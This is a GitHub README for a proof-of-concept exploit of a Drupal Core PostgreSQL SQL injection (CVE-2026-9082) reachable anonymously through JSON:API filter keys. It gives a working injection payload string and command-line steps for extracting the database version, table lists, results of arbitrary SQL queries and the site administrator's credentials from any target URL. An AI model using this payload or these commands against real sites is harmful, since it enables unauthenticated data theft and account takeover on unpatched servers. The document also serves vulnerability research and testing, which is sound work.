7h30th3r0n3/CVE-2026-9082-Drupal-PoC

GitHub: 7h30th3r0n3/CVE-2026-9082-Drupal-PoC

Stars: 12 | Forks: 1

CVE-2026-9082 - Drupal Core PostgreSQL SQL Injection PoC

Drupal Logo


Overview

This repository provides an ethical Proof-of-Concept (PoC) for CVE-2026-9082, a Highly Critical SQL injection vulnerability in Drupal Core affecting all PostgreSQL-backed sites running Drupal 8.0 through 11.3.9.

The flaw resides in the PostgreSQL Entity Query Condition handler and can be exploited by anonymous (unauthenticated) users through the JSON:API module, which is enabled by default since Drupal 9.

Official advisory: SA-CORE-2026-004


Vulnerability Summary

Drupal Core includes a database abstraction API designed to sanitize queries and prevent SQL injection. A flaw in the PostgreSQL-specific Entity Query Condition class (core/modules/pgsql/src/EntityQuery/Condition.php) allows an attacker to inject arbitrary SQL through user-controlled array keys passed via JSON:API filter parameters.

  • CVE ID: CVE-2026-9082
  • Advisory: SA-CORE-2026-004
  • Affected Software: Drupal Core
  • Affected Versions: 8.0.0 – 11.3.9 (PostgreSQL backend only)
  • Fixed in: 11.3.10, 11.2.12, 10.6.9, 10.5.10
  • Severity: Highly Critical — 20/25 on Drupal risk scale
  • Authentication: None required (anonymous)
  • Impact: Data exfiltration, privilege escalation, RCE in some configurations
  • Attack vector: HTTP — JSON:API filter condition array keys

How it works

  1. The translateCondition() method in the PostgreSQL Condition class iterates over $condition['value'] and uses the array keys to construct PDO placeholder names:
    $where_id = $where_prefix . $key;
  2. JSON:API allows anonymous users to supply filter values with arbitrary array keys via URL parameters:
    filter[x][condition][value][MALICIOUS_KEY]=val
  3. PDO named placeholders only consist of [a-zA-Z0-9_] characters. When the key contains ), PDO stops parsing the placeholder name — everything after becomes literal SQL injected into the query.
  4. By sending a key like 1))/**/OR/**/(SELECT pg_sleep(5)) IS NOT NULL)--, the attacker closes the IN() clause and appends arbitrary SQL, while the binding for :prefix_1 is satisfied by a legitimate key 1 in the same request.

References & Credit


Legal Notice

This tool is intended for authorized security testing, educational purposes, and ethical research only. Unauthorized access to computer systems is illegal.


Installation

git clone https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC.git

cd CVE-2026-9082-Drupal-PoC

Usage (CLI)

# Check if target is vulnerable

python3 CVE-2026-9082.py -u https://target.com --check



# Extract PostgreSQL version

python3 CVE-2026-9082.py -u https://target.com --version



# Extract database info (user + db name)

python3 CVE-2026-9082.py -u https://target.com --dbinfo



# Extract Drupal admin credentials (uid=1)

python3 CVE-2026-9082.py -u https://target.com --admin



# List database tables

python3 CVE-2026-9082.py -u https://target.com --tables



# Custom SQL query extraction

python3 CVE-2026-9082.py -u https://target.com --query "SELECT current_user"



# Use boolean-based extraction (faster but less reliable)

python3 CVE-2026-9082.py -u https://target.com --version -m bool



# Interactive mode (no arguments)


Author

  • PoC developed by 7h30th3r0n3
  • Vulnerability discovered by michaelmaturi